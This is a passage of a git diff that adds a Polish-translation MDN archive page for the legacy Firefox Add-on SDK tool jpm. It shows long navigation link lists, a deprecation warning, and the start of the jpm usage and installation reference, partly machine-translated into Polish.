href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/windows">windows</a></li></ol>
+ </li>
+
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">Manifest keys</a>
+ <ol><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/author">author</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/background">background</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/chrome_settings_overrides">chrome_settings_overrides</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/chrome_url_overrides">chrome_url_overrides</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/commands">commands</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_security_policy">content_security_policy</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description">description</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/developer">developer</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page">devtools_page</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url">homepage_url</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons">icons</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/incognito">incognito</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name">name</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/omnibox">omnibox</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/optional_permissions">optional_permissions</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/options_ui">options_ui</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/protocol_handlers">protocol_handlers</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/short_name">short_name</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/theme">theme</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version">version</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version_name">version_name</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a></li></ol>
+ </li>
+
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes"><strong>Themes</strong></a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Theme_concepts">Browser themes</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Theme_concepts">Browser theme concepts</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_themes">Lightweight themes</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_themes">Lightweight themes</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_Themes/FAQ">Lightweight themes FAQ</a></li>
+ </ol>
+ </li>
+
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution"><strong>Publishing and Distribution</strong></a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution">Publishing add-ons</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution">Signing and distribution overview</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Package_your_extension_">Package your extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution/Submitting_an_add-on">Submit an add-on</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Source_Code_Submission">Source code submission</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution/Resources_for_publishers">Resources for publishers</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Listing">Creating an appealing listing</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/AMO/Policy/Reviews">Review policies</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/AMO/Policy/Agreement">Developer agreement</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/AMO/Policy/Featured">Featured add-ons</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution/Retiring_your_extension">Retiring your extension</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options">Distributing add-ons</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Sideloading_add-ons">For sideloading</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_for_desktop_apps">For desktop apps</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_in_the_enterprise">For an enterprise</a></li>
+ </ol>
+ </li>
+
+ <li><a href="https://discourse.mozilla.org/c/add-ons"><strong>Community and Support</strong></a></li>
+ <li><a href="#">Channels</a>
+ <ol>
+ <li><a href="https://blog.mozilla.org/addons">Add-ons blog</a></li>
+ <li><a href="https://discourse.mozilla.org/c/add-ons">Add-on forums</a></li>
+ <li><a href="http://stackoverflow.com/questions/tagged/firefox-addon">Stack Overflow</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/#Contact_us">Contact us</a></li>
+ </ol>
+ </li>
+
+ </ol>
+</section><p></p>
+
+<p>Articles listed here provide a reference for the SDK's tools:</p>
+
+<p></p><div class="row topicpage-table">
+ <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Add-ons/Add-on_SDK/Tools/cfx">cfx</a></dt><dd class="landingPageList">Enables you to test, run, and package add-ons. cfx is is no longer supported as of Firefox 44 and no longer accepted for add-on submission, jpm should now be used instead.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Add-ons/Add-on_SDK/Tools/cfx_to_jpm">cfx to jpm</a></dt><dd class="landingPageList">A guide to working with jpm if you're already familiar with cfx.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Add-ons/Add-on_SDK/Tools/console">console</a></dt><dd class="landingPageList">Enables your add-on to log error, warning or informational messages.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Add-ons/Add-on_SDK/Tools/jpm">jpm</a></dt><dd class="landingPageList">jpm is a command-line tool that enables you to test, run, and package add-ons.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Add-ons/Add-on_SDK/Tools/jpm-mobile">jpm-mobile</a></dt><dd class="landingPageList">The Node-based replacement for <a href="/en-US/Add-ons/SDK/Tools/cfx"><code>cfx --force-mobile</code></a>. Enables you to run and test add-ons for Firefox Mobile (aka Fennec).</dd></dl></dl></div>
+ <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Add-ons/Add-on_SDK/Tools/jpmignore">jpmignore</a></dt><dd class="landingPageList">Use <code>.jpmignore</code> to ignore files from your XPI builds created via <a href="/en-US/docs/Mozilla/Add-ons/SDK/Tools/jpm">jpm</a>.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Add-ons/Add-on_SDK/Tools/package_json">package.json</a></dt><dd class="landingPageList">The <code>package.json</code> file contains manifest data for your add-on, providing not only descriptive information about the add-on for presentation in the Add-ons Manager, but other metadata required of add-ons.</dd></dl></div>
+ </div><p></p>
diff --git a/files/pl/archive/add-ons/add-on_sdk/tools/jpm/index.html b/files/pl/archive/add-ons/add-on_sdk/tools/jpm/index.html
new file mode 100644
index 0000000000..853afb805a
--- /dev/null
+++ b/files/pl/archive/add-ons/add-on_sdk/tools/jpm/index.html
@@ -0,0 +1,883 @@
+---
+title: jpm
+slug: Archive/Add-ons/Add-on_SDK/Tools/jpm
+translation_of: Archive/Add-ons/Add-on_SDK/Tools/jpm
+---
+<div>
+<div class="warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+
+<p>Add-ons using the techniques described in this document are considered a legacy technology in Firefox. Don't use these techniques to develop new add-ons. Use <a href="/en-US/Add-ons/WebExtensions">WebExtensions</a> instead. If you maintain an add-on which uses the techniques described here, consider migrating it to use WebExtensions.</p>
+
+<p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 53</a>, no new legacy add-ons will be accepted on addons.mozilla.org (AMO) for desktop Firefox and Firefox for Android.</strong></p>
+
+<p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 57</a>, only extensions developed using WebExtensions APIs will be supported on Desktop Firefox and Firefox for Android. </strong></p>
+
+<p>Even before Firefox 57, changes coming up in the Firefox platform will break many legacy extensions. These changes include multiprocess Firefox (e10s), sandboxing, and multiple content processes. Legacy extensions that are affected by these changes should migrate to use WebExtensions APIs if they can. See the <a href="https://blog.mozilla.org/addons/2017/02/16/the-road-to-firefox-57-compatibility-milestones/">"Compatibility Milestones" document</a> for more information.</p>
+
+<p>A wiki page containing <a href="https://wiki.mozilla.org/Add-ons/developer/communication">resources, migration paths, office hours, and more</a>, is available to help developers transition to the new technologies.</p>
+</div>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions"><strong>Browser extensions</strong></a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Getting_started">Getting started</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/What_are_WebExtensions">What are extensions?</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">Your first extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension">Your second extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Anatomy of an extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Examples">Example extensions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_">What next?</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Concepts">Concepts</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Using_the_JavaScript_APIs">Using the JavaScript APIs</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">Content scripts</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">Match patterns</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_files">Working with files</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Internationalization</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Security_best_practices">Security best practices</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security Policy</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Native messaging</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#User_Interface">User interface</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface">User Interface</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">Toolbar button</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">Address bar button</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Sidebars</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">Context menu items</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Options page</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Extension pages</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">Notifications</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">Address bar suggestions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">Developer tools panels</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#How_to">How to</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">Intercept HTTP requests</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page">Modify a web page</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page">Insert external content</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Add a button to the toolbar</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implement a settings page</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API">Work with the Tabs API</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Bookmarks_API">Work with the Bookmarks API</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Cookies_API">Work with the Cookies API</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_contextual_identities">Work with contextual identities</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Porting">Porting</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">Porting a Google Chrome extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on">Porting a legacy Firefox extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparison with the Add-on SDK</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities">Chrome incompatibilities</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Differences_between_desktop_and_Android">Differences between desktop and Android</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Firefox_workflow">Firefox workflow</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User Experience</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Temporary Installation in Firefox</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Debugging">Debugging</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Testing_persistent_and_restart_features">Testing persistent and restart features</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android">Developing for Firefox for Android</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">Getting started with web-ext</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext command reference</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">Extensions and the Add-on ID</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Request_the_right_permissions">Request the right permissions</a></li>
+ </ol>
+ </li>
+ <li data-default-state="closed"><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">JavaScript APIs</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser support for JavaScript APIs</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/alarms">alarms</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks">bookmarks</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings">browserSettings</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browsingData">browsingData</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/clipboard">clipboard</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/commands">commands</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contentScripts">contentScripts</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contextualIdentities">contextualIdentities</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies">cookies</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow">devtools.inspectedWindow</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.network">devtools.network</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels">devtools.panels</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/dns">dns</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/downloads">downloads</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/events">events</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/extension">extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/extensionTypes">extensionTypes</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/find">find</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history">history</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/identity">identity</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/idle">idle</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/management">management</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus">menus</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/notifications">notifications</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/omnibox">omnibox</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">pageAction</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/permissions">permissions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pkcs11">pkcs11</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/privacy">privacy</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/proxy">proxy</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime">runtime</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/search">search</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions">sessions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sidebarAction">sidebarAction</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs">tabs</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/theme">theme</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/topSites">topSites</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/types">types</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webNavigation">webNavigation</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest">webRequest</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/windows">windows</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">Manifest keys</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/author">author</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/background">background</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/chrome_settings_overrides">chrome_settings_overrides</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/chrome_url_overrides">chrome_url_overrides</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/commands">commands</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_security_policy">content_security_policy</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description">description</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/developer">developer</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page">devtools_page</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url">homepage_url</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons">icons</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/incognito">incognito</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name">name</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/omnibox">omnibox</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/optional_permissions">optional_permissions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/options_ui">options_ui</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/protocol_handlers">protocol_handlers</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/short_name">short_name</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/theme">theme</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version">version</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version_name">version_name</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes"><strong>Themes</strong></a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Theme_concepts">Browser themes</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Theme_concepts">Browser theme concepts</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_themes">Lightweight themes</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_themes">Lightweight themes</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_Themes/FAQ">Lightweight themes FAQ</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution"><strong>Publishing and Distribution</strong></a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution">Publishing add-ons</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution">Signing and distribution overview</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Package_your_extension_">Package your extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution/Submitting_an_add-on">Submit an add-on</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Source_Code_Submission">Source code submission</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution/Resources_for_publishers">Resources for publishers</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Listing">Creating an appealing listing</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/AMO/Policy/Reviews">Review policies</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/AMO/Policy/Agreement">Developer agreement</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/AMO/Policy/Featured">Featured add-ons</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/Distribution/Retiring_your_extension">Retiring your extension</a></li>
+ </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options">Distributing add-ons</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Sideloading_add-ons">For sideloading</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_for_desktop_apps">For desktop apps</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_in_the_enterprise">For an enterprise</a></li>
+ </ol>
+ </li>
+ <li><a href="https://discourse.mozilla.org/c/add-ons"><strong>Community and Support</strong></a></li>
+ <li><a href="#">Channels</a>
+ <ol>
+ <li><a href="https://blog.mozilla.org/addons">Add-ons blog</a></li>
+ <li><a href="https://discourse.mozilla.org/c/add-ons">Add-on forums</a></li>
+ <li><a href="http://stackoverflow.com/questions/tagged/firefox-addon">Stack Overflow</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/#Contact_us">Contact us</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
+</div>
+
+<p><span class="seoSummary">jpm is a command-line tool that enables you to test, run, and package add-ons.</span></p>
+
+<p>This is the reference page for jpm. See also <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_%28jpm%29">jpm tutorial</a> for getting started.</p>
+
+<p>jpm <span class="tlid-translation translation" lang="pl"><span title="">użyj go</span></span> :</p>
+
+<pre class="brush: bash">jpm [command] [options]
+</pre>
+
+<p>jpm <span class="tlid-translation translation" lang="pl"><span title="">obsługuje następujące opcje globalne</span></span> :</p>
+
+<pre class="brush: bash">-h, --help - show a help message and exit
+-V, --version - print the jpm version number
+--addon-dir - directory for your source code,
+ defaulting to the current directory
+</pre>
+
+<h2 id="Instalacja"><span class="tlid-translation translation" lang="pl"><span title="">Instalacja</span></span></h2>
+
+<p>jpm is distributed with the node package manager <a class="external external-icon" href="https://www.npmjs.org/package/jpm">npm</a>.</p>
+
+<h3 id="Instalowanie_npm"><span class="tlid-translation translation" lang="pl"><span title="">Instalowanie</span></span>  npm</h3>
+
+<p>  <span class="tlid-translation translation" lang="pl"><span title="">Istnieją dwa sposoby uzyskania</span></span> npm.</p>
+
+<ul>
